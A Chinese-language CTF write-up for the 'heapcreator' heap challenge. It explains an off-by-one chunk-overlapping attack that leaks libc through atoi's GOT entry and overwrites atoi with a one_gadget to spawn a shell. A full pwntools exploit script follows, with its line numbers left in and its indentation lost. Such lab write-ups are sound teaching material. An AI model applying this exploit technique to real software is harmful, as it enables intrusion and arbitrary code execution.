这题是对chunk Overlapping技巧的练习,比较简单。

程序

解题思路

形成漏洞的原因是因为存在一个off by one漏洞,可以溢出到下一个chunk的size处,这样通过把size修改为一个比较大的值,将其free掉,再分配出来后就会形成chunk堆叠效应。

先分配3个chunk,通过off by one,修改chunk2的size为比较大的值,比如0x61。

修改好后就变成了这样:(不要在意地址的变化,因为我是分好几次截图的)

再把它free掉:

之后把它再分配出来,修改掉其他chunk的heaparray[v1]->content值,将其指向某个got,再调用show_heap既可泄露libc地址。

最后再将某个got改为one_gadget或者system,就能getshell了,我这里改了atoi。

将某个chunk的->content改成了atoi的got地址。

我用的one_gadget,所以是exec_comm

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
r = process("./heapcreator")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def create(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def edit(idx, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(content)


def show(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))


def delete(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))

#chunk overlapping
create(24,'aaa')
create(10,'666')
create(10,'aaa')
edit(0,'\x00'*24+'\x61')
delete(1)
create(0x50,'bbb')

#修改->content指针为atoi.got
edit(1,'\x00'*24+p64(0x21)+p64(0x50)+p64(0x602060))
show(1)

#获取got,计算libc,将atoi改成one_gadget
r.recvuntil("Content : ")
read_got = u64(r.recv(6).ljust(8,'\x00'))
libc_base = read_got - libc.symbols['atoi']
edit(1,p64(libc_base+0xf1147))

#触发atoi,相当于触发了one_gadget
r.sendline("1")
r.interactive()